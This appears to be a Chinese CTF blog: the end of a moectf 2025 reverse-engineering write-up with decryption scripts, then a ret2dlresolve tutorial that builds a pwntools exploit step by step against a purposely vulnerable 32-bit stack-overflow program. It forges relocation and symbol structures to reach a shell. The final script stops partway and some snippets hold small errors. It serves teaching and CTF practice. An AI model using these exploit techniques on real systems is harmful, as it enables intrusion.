 v11 = (v7 + 16) & 0xFFFFFFFFFFFFFFF0LL;
 v9 = (char *)operator new(v11);
 v24[1] = v8;
 v25 = v9;
 v24[0] = v11 | 1;
 goto LABEL_8;
 }
 v9 = (char *)v24 + 1;
 LOBYTE(v24[0]) = 2 * v7;
 if ( v7 )
LABEL_8:
 memcpy(v9, v6, v8);
 v9[v8] = 0;
 (*(void (__fastcall **)(__int64, __int64, const char *))(*(_QWORD *)a1 + 1360LL))(a1, a3, v6);
 strcpy((char *)v23, " moectf2025!!!!!!");
 v12 = (char *)operator new(0x70u);
 strcpy(v12, "4EEB1EEF2914D79BFA8C5006332097ED2EF06C4A59CAE31C827A08D45CC649C0B971BF2EFBCB160E531A646DF7A6AC0B");
 sm4Encrypt(v21, v24, v23);
 v13 = (__int64 *)v21[1];
 v14 = (unsigned __int64)LOBYTE(v21[0]) >> 1;
 if ( ((__int64)v21[0] & 1) == 0 )
 v13 = (__int64 *)((unsigned __int64)LOBYTE(v21[0]) >> 1);
 if ( v13 == &qword_60 )
 {
 if ( ((__int64)v21[0] & 1) != 0 )
 {
 v19 = s1;
 v10 = memcmp(s1, v12, 0x60u) == 0;
 goto LABEL_21;
 }
 v15 = (unsigned __int8 *)v21 + 1;
 v16 = v12;
 do
 {
 v17 = *v15;
 v18 = (unsigned __int8)*v16;
 v10 = v17 == v18;
 if ( v17 != v18 )
 break;
 --v14;
 ++v15;
 ++v16;
 }
 while ( v14 );
 }
 else
 {
 v10 = 0;
 }
 if ( ((__int64)v21[0] & 1) != 0 )
 {
 v19 = s1;
LABEL_21:
 operator delete(v19);
 }
 operator delete(v12);
 if ( ((__int64)v23[0] & 1) != 0 )
 operator delete(v23[2]);
 if ( (v24[0] & 1) != 0 )
 operator delete(v25);
 return v10;
}

SM4加密ecb模式，密文直接给了，密钥就是moectf2025!!!!!! 反向解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


from gmssl.sm4 import CryptSM4, SM4_DECRYPT
from binascii import unhexlify

def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"

key = b"moectf2025!!!!!!"
cipher_hex = "4EEB1EEF2914D79BFA8C5006332097ED2EF06C4A59CAE31C827A08D45CC649C0B971BF2EFBCB160E531A646DF7A6AC0B"
cipher_bytes = unhexlify(cipher_hex)

crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_DECRYPT)
plain = crypt_sm4.crypt_ecb(cipher_bytes)
print(CLEAR_TEXT(f"[+] Decrypted:{plain}"))

2048

在线程分支存在检测当前文件夹下有无flag.txt来触发分支进入（注意而且要有37个字符）

继续进入，sub_401a81中的sub_401530是一个修改了xxtea的魔数的算法

在x64dbg中dump出xxtea算法的key

然后写解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


#include <stdio.h>
#include <stdint.h>
#define DELTA 0x3E9779B9//-0x61C88647 补码
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void xxtea(uint32_t *v, int n, uint32_t const key[4])
{
 uint32_t y, z, sum;
 unsigned p, rounds, e;
 rounds = 6 + 52/n;
 sum = rounds*DELTA;
 y = v[0];
 do
 {
 e = (sum >> 2) & 3;
 for (p=n-1; p>0; p--)
 {
 z = v[p-1];
 y = v[p] -= MX;
 }
 z = v[n-1];
 y = v[0] -= MX;
 sum -= DELTA;
 }
 while (--rounds);
}

int main()
{
 uint32_t v[]={
0xCC777935,0x3441131B,0x919FFFF9,0x78945BFF,0xAEAF2A86,0x4D319ED7,0x51A5C47A,0x446ED9D1,0x1B865218,0x63C98A42
 };
 uint32_t const k[4]= {0x38343032,0x7473616d,0x30327265,0x616d3834};
 int n= 10;
 xxtea(v, n, k);
 char *flag=(char*)v;
 for (int i=0;i<40;i++) printf("%c",flag[i]);
 return 0;
}

guess

DIE看一眼

运行程序可以输入十次

编译失败，发现有互补跳转指令

nop掉，出现一大坨c++代码

如果我们输入的数字=v33,那么会直接输出flag，那么反过来patch一下就可以输错也得到flag

a simple program

DIE查看
flag并非在主函数里

发现下面有一串类似密文的字节串，跟踪一下

好像是一个加密函数？实际上是一个TLS的反调试，如果动调就能找到

初始化API hook后，拦截掉原本的C库函数，使用自己的函数进行校验
在下面的TLS回调分支进行了两个经典反调试检测如果检测到调试器存在直接破坏程序内存而崩溃，所以我们找到的函数实际上就是自定义的strncmp函数，其中是真的flag逻辑

1
2
3


encode=[0x4e, 0x4c, 0x46, 0x40, 0x57, 0x45, 0x58, 0x7a, 0x13, 0x56, 0x7c, 0x73, 0x17, 0x50, 0x50, 0x66, 0x47, 0x2, 0x2, 0x5e]
for i in range(len(encode)):
 print(chr(encode[i]^0x23),end='')

rusty_sudoku

main函数非常的长，我们先运行程序看看

可以看出输入的格式要求为9*9，也就是81个字符（sudoku是数读啊…）

这里给出了范式

刚好是91个字符，也就是说我们要按照这里来填写数独

也就是这样，在网站进行快速解题（你也可以自己来）

如图得到答案
369184572185327694274956831632879415897541263541632789756213948918465327423798156

看起来是md5的flag(

剖析ret2dlresolve

Sun, 05 Oct 2025 23:36:00 +0000

ret2dlresolve

ret2libc之后的进阶，动态链接的深入了解

延迟绑定技术

为避免在运行程序时加载过多的动态链接导致卡顿，操作系统实现了延迟绑定（Lazy Binding）的技术，只有在函数首次调用时才进行绑定，

如图，程序在首次执行call func@plt的时候会执行以下的部分，先到plt表，然后jmp到got表

如下，此时got表地址在plt表上

其实这里是jmp got到read的地址，实际上这里是extern，延迟绑定到libc中的read。而这里由于符号的缺失，我们只能知道其跳转到了libc文件中的read进行调用

而在plt表中，如果符号存在，我们拿一个文件举例子

如图，在jmp got后的下一条指令push了一个数字（函数在rel.plt上的便宜，reloc_arg)

之后jmp plt[0]0x8048380

plt[0]处先push got[1] –>即link_map（链接器标识信息），然后jmp 到got[2]处，got[2]为_dl_runtime_resolve的地址

那么实际上执行的就是
_dl_runtime_resolve(link_map,reloc_arg)

而这个函数，完成了对符号的解析，将真正write函数地址写入got表条目中后转接控制器给解析出来的函数

关键段落

.rel.plt是函数重定位

.rel.dyn是变量重定位

.dynsym是动态链接符号表

./dynstr是动态链接的字符串

.got是全局变量偏移表

.got.plt是全局函数偏移表

可以看出[10][11]的地方类型为rela，即重定位表

而且我们需要知道.got.plt前三项为

address of .dynamic
link_map
dl_runtime_resolve

_dl_fixup

在调用_dl_runtime...的时候在设置好参数后call _dl_fixup，我们进行查看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
 ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
 struct link_map *l, ElfW(Word) reloc_arg)
{
 const ElfW(Sym) *const symtab
 = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

 const PLTREL *const reloc
 = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); // 首先通过参数reloc_arg计算重定位的入口，这里的JMPREL即.rel.plt，reloc_offest即reloc_arg
 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; // 然后通过reloc->r_info找到.dynsym中对应的条目
 const ElfW(Sym) *refsym = sym;
 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
 lookup_t result;
 DL_FIXUP_VALUE_TYPE value;

 /* Sanity check that we're really looking at a PLT relocation. */
 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); //这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7，即重定位标志


 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
 {
 const struct r_found_version *version = NULL;

 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
 {
 const ElfW(Half) *vernum =
 (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
 version = &l->l_versions[ndx];
 if (version->hash == 0)
 version = NULL;
 }

 int flags = DL_LOOKUP_ADD_DEPENDENCY;
 if (!RTLD_SINGLE_THREAD_P)
 {
 THREAD_GSCOPE_SET_FLAG ();
 flags |= DL_LOOKUP_GSCOPE_LOCK;
 }

#ifdef RTLD_ENABLE_FOREIGN_CALL
 RTLD_ENABLE_FOREIGN_CALL;
#endif

 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
 version, ELF_RTYPE_CLASS_PLT, flags, NULL); // 接着通过strtab+sym->st_name找到符号表字符串，result为libc基地址

 /* We are done with the global scope. */
 if (!RTLD_SINGLE_THREAD_P)
 THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
 RTLD_FINALIZE_FOREIGN_CALL;
#endif


 value = DL_FIXUP_MAKE_VALUE (result,
 SYMBOL_ADDRESS (result, sym, false)); // value为libc基址加上要解析函数的偏移地址，也即实际地址,SYMBOL_ADDRESS() 得到偏移sym，+ result 得出最终函数地址
 }
 else
 {
 value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
 result = l;
 }

 value = elf_machine_plt_value (l, reloc, value);

 if (sym != NULL
 && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
 value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

 /* Finally, fix up the plt itself. */
 if (__glibc_unlikely (GLRO(dl_bind_not)))
 return value;

 return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); // 最后把value写入相应的GOT表条目中
}

关键部分已经标出注释

_dl_fixup函数调用了_dl_lookup_symbol_x函数，最终这个函数去动态库找到延迟绑定函数填写到了got.plt表项中

_dl_runtime_resolve函数运作流程

dynamic段落

首先.dynamic里面保存了动态链接器所需要基本信息。

例如.dynsym动态链接符号表位置，动态链接重定位表的位置、.dynstr动态链接字符串表的位置。

也就是现在想找到.dynsym，就必须找到.dynamic地址，因此.dynamic段就是主要用于寻找与动态链接相关的其他段(.dynsym .dynstr .rela.plt等段）以下为一个Elf32_Dyn的结构。其由一个类型值d_tag以及一个数值或指针(通过Union结构体同时定义d_val和d_ptr，但是一次只存储一个值，此联合体大小4字节，整个结构体Elf32_Dyn为8字节）

1
2
3
4
5
6
7
8
9


typedef struct
{
 Elf32_Sword d_tag; /* Dynamic entry type */
 union
 {
 Elf32_Word d_val; /* Integer value */
 Elf32_Addr d_ptr; /* Address value */
 } d_un;
} Elf32_Dyn;

动态符号表(Dynamic Symbol Table)

动态符号表中存储了与动态链接（这些函数会进行动态链接）相关的符号，段名被称为.dynsym，而对于本模块的内部符号或者私有变量保存在了.symtab这个表，symtab保存了所有符号（包括.dynsym中的）

‍

动态符号字符串表(Dynamic String Table)

跟名字一样，其为保存了符号名的字符串表，其存在的意义巍是由于Dynamic Symbol Table中记录的固定长度的内容无法描述二进制文件中的任意字符串，因此再次创立了一个表.dynstr，用于存储函数名称的字符串，在.dynsym中的.st_name字段存储了偏移，最后由.dynstr首地址加上偏移找到对能够符号名称。

最后的最后，由_dl_lookup函数拿着这个符号的名称去动态链接库搜索对应函数

在Ida中也能看到ELF String Table

_dl_runtime_resolve的运行模式总结

使用link_map(_dl_runtime_resolvehand的第一个参数）访问.dynamic，取出.dynstr .dynsym .rel.plt地址
.rel.plt+relic_index，求得当前函数重定位表项Elf32_Rel指针，记为rel
rel->r_info >> 8作为.dynsym下标，并求出当前函数符号表项Elf32_sym指针，记作sym
.dynstr+sym->st_name的到符号名，字符串指针
动态链接库查找该函数地址，赋给*rel->r_offset，即GOT表
调用函数

在下文有更详细的解析

测试

32位

调试

延迟绑定图如下

以read函数为例

可以看到刚要进入read, 我们就jmp到了0x804c004，下一条指令便对应了上图提到的延迟绑定的步骤2

跳转到plt表，并push了一个0x8然后跳转到了0x8049020，不难发现这是一个很贴近的地址，实际上此时处于步骤4

而在jmp到0x8049020后，再次执行了push和jmp。查看内容

因此我们现在知道了，之前push压栈的两个是参数，第二次push也就是栈顶的0x804bff8是参数**link_map **指针。0x8则是参数reloc_index

因此我们可以先通过了link_map找到.dynamic地址，图中第三个地址就是.dynamic地址

0x0804bf00

那么link_map到底是怎么访问到.dynamic地址的？

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


struct link_map
 {
 /* These first few members are part of the protocol with the debugger.
 This is the same format used in SVR4. */

 ElfW(Addr) l_addr; /* Base address shared object is loaded at. */
 char *l_name; /* Absolute file name object was found in. */
 ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
 struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
};

我们发现第三个*l_ld在这里存储的是Dynamic段地址，也因此我们查找link_map结构体中第三个地址也就是.dynamic地址了

而根据_dl_runtime_resolve的运行模式总结，这里要取出.dynstr .dynsym以及.rel.plt的地址了。可以查看一下他们的所处地址

分别位于.dynamic段偏移9 10 17的位置，我们知道Elf32_Dyn为8字节，并且实际值or指针位于后四字节。因此他们应该处于8*9-4=0x44 8*10-4=0x4c 8*17-4=0x84的偏移处（这里-4是因为要去除当前所属位置的偏移）

最后用.rel.plt的值加上参数reloc_index，就是重定位表项Elf32_Rel的指针，也就是0x080483b4+0x8=0x080483bc

然后是Elf32_Rel结构体，对应r_offset为0x804c004（.got.plt的地址，也就是最后解析之后会填入真实的地址的地方），r_info=0x207。

r_info>>8=0x2，作为.dynsym的下标（从0开始算的）

1
2
3
4
5
6


// _dl_runtime_resolve的结构体
typedef struct
{
 Elf32_Addr r_offset; /* Address */
 Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;

而Elf32_Sym源码如下

1
2
3
4
5
6
7
8
9


typedef struct
{
 Elf32_Word st_name; /* Symbol name (string tbl index) */
 Elf32_Addr st_value; /* Symbol value */
 Elf32_Word st_size; /* Symbol size */
 unsigned char st_info; /* Symbol type and binding */
 unsigned char st_other; /* Symbol visibility */
 Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

第一个成员名st_name存储.dynstr表所需要索引（也可以说是偏移），在gdb查看（也可以算）

在下方的.dynstr基址加上索引，得到0x080482E0，找到read名字存储地址

接下来调用_dl_lookup_symbol_x函数，到动态库遍历查找

至此，read函数从动态库里读取出，使得可以被使用。

倒推过程

构成一条成熟的思考链。

首先我们需要找到函数名字（字符串，拿到该字符串首地址）。把这个名字交给_dl_lookup_symbol_x，让这个函数去动态库搜索，最后找到我们想延迟绑定的函数，写到.got.plt中

如何拿到这个字符串呢？

然后知道这个字符串在.dynstr中。我们需要两个东西，

一个是.dynstr的基址
一个是字符串距离.dynstr基址的偏移

寻找`.dynstr`首地址

我们知道.dynamic段有动态链接器基本信息，其中包含.dynstr的位置，所以我们要先找到.dynamic段的地址

发现link_map结构体中第三个内容存放的就是.dynamic的地址

那么我们只要查看link_map内容，然后第三个就是我们要的东西。link_map呢就是执行_dl_runtime_resolve函数的第一个参数link_map_obj。从这里开始再顺着正推就可以找到了.dynstr了

.dynstr相对的偏移怎么找

我们发现Elf32_Sym源码中每一个结构体第一个成员就存储了我们要找的偏移，而这个结构又存储在.dynsym（即动态符号表）中（每个函数都有一个单独的Elf32_sym结构）

因此我们可以在.dynsym中找到我们想要的Elf32_Sym结构，但是此时又引出了两个问题

每个函数都有一个这个结构，那么怎么到.dynsym中找到我们想要的函数结构
.dynsym的地址怎么找

.dynsym的地址也在.dynamic中存储了，因此其实我们拿到.dynamic段的地址的话那么.dynsym的地址实际上也可以拿到了

那么怎么到.dynsym中找到我们想要的函数结构？

这个结构实际上也是要拿到距离.dynsym的首地址的偏移，这个偏移需要找到.rel.plt表，这个表是Elf32_Rel结构体组成的，因此拿出第二个成员，将内容算术右移八位就是我们需要的偏移。

而.rel.plt就在.dynamic段中，由于每个Elf32_Rel的结构体又都对应一个函数，我们如何找到想要的Elf32_Rel?———直接使用_dl_runtime_resolve的第二个参数reloc_index

图片来自www.cnblogs.com/ZIKH26/articles/15944406.html

漏洞

_dl_lookup_symbol_x函数最后去搜索字符串存在问题，因为实际上这个函数不在乎给的字符串是否是此刻正在延迟绑定的函数

也就是说，即使是别的函数的字符串，其也会去搜索，再加上_dl_runtime_resolve函数的第二个参数(r_info)即便非常大也不会被认为超过.rel.plt，也就是说可以通过修改出Elf32_Rel的r_info转移到一个伪造的Elf32_Sym上。

综上

我们直接伪造一个极大的****reloc_index ，让原本偏移到 .rel.plt的****reloc_index最后偏移到我们伪造的可控内存，伪造一系列的结构使得最终****dynstr段首的偏移指向了我们指定的字符串，至此 _dl_lookup_symbol_x会去直接搜索我们制定的函数，即使没有任何的泄漏也可以直接getshell

利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#include <stdio.h>
#include <unistd.h>

void vuln() {
 char content[0x100];
 read(0, content, 0x200);
}

int main() {
 vuln();
 return 0;
}
gcc -o test_32 ./test_32.c -m32 -no-pie -fno-stack-protector

演示图，来自晚秋。

由于函数结束调用leave;ret，若能够覆盖ebp为addr-4，栈溢出执行迁移到了base_addr

step1-重构造read

如下图，已经构造出了在bss段的第二次read，执行一个新的read函数，这个read函数是我们最重要执行的函数，将其改为system等想要的函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./test_32"
libc_name = "./libc.so.6"
arch = 'i386'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x0804916A
 b *read
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040

read_plt = elf.plt['read']

log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt,
 leave_ret, p32(0), base_addr, 0x100
) #leave_ret后跳转到base_addr然后开始执行read
se(payload)

payload = flat(
 read_plt, 0xdeadbeaf,
 0, bss+0x100, 0x100,
)
# 再一次read,
se(payload)
ia()

step2 模拟plt表的绑定过程

观察plt表，实际上为如下两条指令，发现实际上是push 8后跳转到了一个函数，该函数则为dl_runtime_resolve的函数。所以我们模拟plt表绑定过程去往栈上写入内容。在栈上手动写一个8，然后跳转到该函数0x08049040

据此我们再次修改，将原本的read_plt改为resolve并放入8

1
2
3
4


payload = flat(
 start_resolve, 8, 0xdeadbeef,
 0, bss+0x100, 0x100,
)

step3 伪造reloc_index

现在我们准备开始ret2dlresolve吧。回过头去看看演示图，来自晚秋。

实际上我们往栈上push了一个0x8，实际上这就是图里面的reloc_index

而0x8是什么？–其实我一开始也不知道

如图，我们在.init之前可以看到加载段，而0x8实际上是.rel.plt段的基地址和write函数的Elf32_Rel结构体的偏移

.rel.plt就是红框中的内容，其由函数的Elf32_Rel结构体组成。结构体的定义如下

1
2
3
4
5


struct Elf32_Rel
{
 unsigned __int32 r_offset; //图里为0x804c004
 unsigned __int32 r_info; //0x207
};

如果我们伪造到栈上，往栈上push的值不再是0x8，不难想到，因为0x8是原来的结构体和.rel.plt基地址的偏移，因此我们需要计算我们伪造的结构体和.rel.plt基地址的差，替换掉原本的0x8

而.rel.plt的基地址从图里面就可看到–0x080483B4

也可以用pwntools查看

1

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

‍

修改后：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
read_plt = elf.plt['read']

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt,
 leave_ret, p32(0), base_addr, 0x200
) # leave_ret后跳转到base_addr然后开始执行read
se(payload)


fake_struct = p32(0x804c004)+p32(207) #伪造的Elf32_Rel
# payload = flat(
# start_resolve, 8, 0xdeadbeef,
# 0, bss+0x200, 0x200,
# )
payload = flat(
 start_resolve, p32(base_addr+0x10-rel_plt), 0xdeadbeef, #这里start_resolve开始重定位
 # 第一个参数就是push的参数，其为reloc_index
 0, bss+0x100, 0x100,
 fake_struct
)

step4 伪造.dynsym

实际上我们就是在一步步伪造演示图的所有结构体，在step3我们伪造了.rel.plt结构体，接下来轮到了.dynsym结构体，而程序找到这个结构体是对.dynsym基地址来通过上一步讲到的Elf32_Rel结构体中r_info>>8当作偏移得到

| 0x7: 最低 8 位填入重定位类型：类型 7 是 R_386_JUMP_SLOT

通过readelf后我们定位到.dynsym

如图就是我们跳转后找到的部分

这里可以计算得到st_name距离基地址偏移是0x20

可以t跳转到结构体界面，上一节中知道r_info为0x207，右移八位得到2，即Elf32_sym中的第二个结构体: 这里是aRead从0开始算

1
2
3
4
5
6
7
8
9


struct Elf32_Sym
{
 unsigned __int32 st_name __offset(OFF32,0x80482D0); // 四字节，计算得到偏移为0x10
 unsigned __int32 st_value __off; // 四字节，0
 unsigned __int32 st_size; // 四字节，0
 unsigned __int8(char) st_info; //一字节,0x12
 unsigned __int8(char) st_other; //一字节，0
 unsigned __int16 st_shndx; //二字节，0
};

注意两点

Elf32_Syn结构体要求地址对齐，例如这里是0x…0结尾的，那么伪造的结构体也要以0x..0结尾
r_info计算方式为伪造结构体基地址减dynsym的基地址作为下标（即索引），左移八位（符号索引移动到高二十四位）后或上0x7（类型必须为7），r_info以此我们计算出symtab中的index并且保存类型
我们不难看出这是十六字节的大小，这里我们看一下

1
2


dynsym=elf.get_section_by_name(".dynsym").header.sh_addr
r_info = (((base_addr + 0x10 - dynsym) // 0x10) << 8) | 0x7 # /0x10是因为SYMENT指明大小为十六字节

修改后信息如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


bss = elf.bss()
base_addr = bss+0x800
leave_ret = 0x080490d6
start_resolve = 0x08049040
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
r_info = (((base_addr+0x10-dynsym)//0x10) << 8) | 0x7

log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
log.info(VIO_TEXT(f"dynsym:{hex(dynsym)}"))

read_plt = elf.plt['read']

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt,
 leave_ret, p32(0), base_addr, 0x200
) # leave_ret后跳转到base_addr然后开始执行read
se(payload)

# fake_struct = p32(0x804c004)+p32(207)
fake_struct = p32(0x804c004)+p32(r_info) # 伪造elf32_rel
# payload = flat(
# start_resolve, 8, 0xdeadbeef,
# 0, bss+0x200, 0x200,
# )
payload = flat(
 start_resolve, p32(base_addr+24), 0xdeadbeef, #p32-->4*6
 0, bss+0x200, 0x200, #这里还只是伪造read
 fake_struct,
 b'a'*(0x10-((fake_struct-dynsym)&0xf), # Elf32_sym结构体为16字节，在填充后地址还要和16字节对齐
 0x20, 0, 0, 0x12
)
# 再一次read,
se(payload)

step5 伪造dynstr

这个表就是保存了符号名的字符串表。而这个表存在的意义是由于Dynamic Symbol Table里记录的都是固定长度的内容，因此它们没办法去描述二进制文件中的任意字符串（也就是我们的函数名称），因此就需要再创立一个表（也就是.dynstr)来存储函数名称的字符串，在.dynsym中的.st_name字段存储了一个偏移，而最后.dynstr段的首地址加上这个偏移量才能找到符号的名称。而_dl_lookup函数最后就是拿着这个符号的名称（也就是函数的名称）去动态链接库里面搜索对应的函数。

我们已经从右往做完成了dynsym的伪造，接下来我们就要在栈上再协议次假的read函数名字符串。

这个偏移本身来自于Elf32_Sym结构体中的st_name，在我们这里就是0x20

修改完如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./test_32"
libc_name = "./libc.so.6"
arch = 'i386'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x8049199
 b *read
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name(".dynstr").header.sh_addr
start_resolve = elf.get_section_by_name(".plt").header.sh_addr

# 初始化所需的段首地址

bss = elf.bss()
base_addr = bss+0x800 # 这里要最后一位对齐
leave_ret = 0x080490d6
start_resolve = 0x08049020 # .plt中的第一个函数，调用这个函数会进入动态链接器
r_info = (((base_addr+0x20-dynsym)//0x10) << 8) | 0x7


log.info(VIO_TEXT(f'rel_plt:{hex(rel_plt)}'))
log.info(VIO_TEXT(f"base_addr:{hex(base_addr)}"))
log.info(VIO_TEXT(f"dynsym:{hex(dynsym)}"))

read_plt = elf.plt['read']
fake_sym_addr = base_addr+32 # fake_sym_addr为Elf32_Sym结构首地址，这里是根据下面计算的4*8=32
align = 0x10-((fake_sym_addr-dynsym) & 0xf) # Elf32_Sym结构为16字节，因此地址和16字节对齐
# 只取最后一位，二者地址放在一个结构中，最后求出fake_sym_addr距离16字节差的字节数
# 使用dynsym是因为dynsym是对齐的，可以用来做对齐的表
fake_sym_addr += align # 其实就是进行十六字节补齐，payload中也写入align
log.info(VIO_TEXT(f"fake_sym_addr:{hex(fake_sym_addr)}"))
log.info(VIO_TEXT(f"align:{hex(align)}"))
st_name = fake_sym_addr+0x10-dynstr # 这个是字符串在dynstr中的偏移
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12) # 0x12=st_info

r_offset = elf.got['read'] # 重定位表项中r_offset为got中read的地址,也是最后写入的真实地址的地方
log.info(VIO_TEXT(f"r_offset:{hex(r_offset)}"))
# 重定位表项中r_info的高位为符号表的索引,并且Elf32_sym大小16字节
r_sym = (fake_sym_addr-dynsym)//0x10

r_type = 0x7 # 0x7是重定位的一种类型，指的是导入函数，进入_dl_fixup函数里面，还会检查这是不是0x7
r_info = (int(r_sym) << 8)+r_type # 重定位表项中r_info的值
